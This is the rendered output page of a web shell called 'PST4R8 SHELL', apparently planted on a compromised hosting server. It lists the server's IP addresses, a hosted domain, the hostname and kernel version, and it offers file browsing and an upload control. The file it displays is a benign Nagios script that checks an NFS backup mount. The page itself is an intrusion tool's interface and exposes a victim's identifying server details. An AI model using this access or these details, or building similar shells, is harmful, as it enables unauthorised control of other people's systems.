PST4R8 SHELL
:
18.191.223.30
:
170.10.163.183 / aifatradebd.com
:
Linux altar53.supremepanel53.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
:
/
usr
/
lib64
/
nagios
/
plugins
/
Upload File:
files >> //usr/lib64/nagios/plugins/check_altar_nfs
#!/bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin mount_count=`grep -c '/mnt/backup' /proc/mounts` mount_point="/mnt/backup" local_temp_file="/tmp/nfs_local_temp_file" remote_temp_file="$mount_point/nfs_remote_temp_file" cpbackup_count=`pgrep cpbackup | wc -l` if [ $mount_count -ne 1 ]; then echo "ERROR: Wrong Mount Count!" && exit 2; fi rm -f $local_temp_file dd if=/dev/urandom of=$local_temp_file bs=2M count=1 &>/dev/null #|| echo "ERROR: Cannot create $local_temp_file!" && exit 2 if [ ! -f $local_temp_file ]; then echo "ERROR: $local_temp_file is Missing!" && exit 2; fi sudo /bin/cp -f $local_temp_file $remote_temp_file 2>/dev/null if [ $? -ne 0 ]; then echo "ERROR: $remote_temp_file Cannot be Copied!" && exit 2; fi if [ "`md5sum $local_temp_file | awk '{print $1}'`" != "`md5sum $remote_temp_file | awk '{print $1}'`" ]; then echo "ERROR: Checksum Mismatch!" && exit 2; fi if [ $cpbackup_count -gt 1 ]; then echo "ERROR: Multiple cpbackup instances!" && exit 2; fi echo "OK: NFS Backup Operational." && exit 0
Copyright © Pst4r8. All Right Reserved.